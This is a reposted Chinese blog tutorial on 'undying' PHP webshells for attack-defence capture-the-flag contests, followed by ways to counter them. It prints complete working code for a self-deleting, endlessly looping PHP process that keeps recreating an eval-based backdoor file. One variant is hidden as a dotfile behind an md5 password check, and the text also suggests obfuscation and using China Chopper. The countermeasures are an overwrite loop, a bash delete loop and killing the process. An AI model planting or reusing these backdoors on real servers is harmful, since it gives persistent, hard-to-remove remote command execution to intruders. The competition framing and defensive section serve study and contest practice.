不死馬


借鑒文章

 

不死馬常用於AWD模式,用於權限維持,首先上傳一個不死馬,然后訪問該頁面,就會執行不死馬,它會以進程的形式運行,不斷的生成文件,即使被發現也不容易被刪掉,同時注意上傳的目錄是否有權限

 

不死馬

<?php
 
set_time_limit(0);   //PHP腳本限制了執行時間,set_time_limit(0)設置一個腳本的執行時間為無限長
 
ignore_user_abort(1);  //ignore_user_abort如果設置為 TRUE,則忽略與用戶的斷開,腳本將繼續運行。
 
unlink(__FILE__);     //刪除自身
 
while(1)
 
{    
file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>'); //創建shell.php sleep(0); //間隔時間 } ?>

上傳之后,訪問該頁面,就會不斷生成shell.php,我們就直接可以利用shell.php

 

同時為了防止被其他人利用,可以進行修改,用md5驗證,或者其他利用方法驗證,只要不讓其他人搭順風車就可以,在文件前面加個點在Linux系統中變成隱藏文件,以用來隱蔽自己,當然也可以用其他編碼或者其他方法來混淆代碼,讓其他人看不出來或無法直接利用

<?php

ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST[cmd]);} ?>';
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>

這樣就可以直接利用URL傳參.shell.php?passwd=passwd&cmd=你要執行的命令; 或者利用菜刀

 

被中了不死馬怎么辦,最簡單的是重啟服務器,然后刪掉木馬文件,但大多比賽無法重啟服務的權限,不過可以通過不斷向木馬文件復寫來克制,前提是寫入速度要大於不死馬的生成速度

<?php
set_time_limit(0);
ignore_user_abort(true);
unlink(__FILE__);
while(1)
{
        file_put_contents('./shell.php','11111');
        usleep(0);
}
?>

也可以用bash不斷的刪除文件

#!/bin/bash
while : ;do rm -rf .shell.php; done;

或者不斷的刪除程序和殺進程

<?php
while (1) {
    $pid=xxx;
    @unlink('shell.php');
    exec('kill -9 $pid');
}
?>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM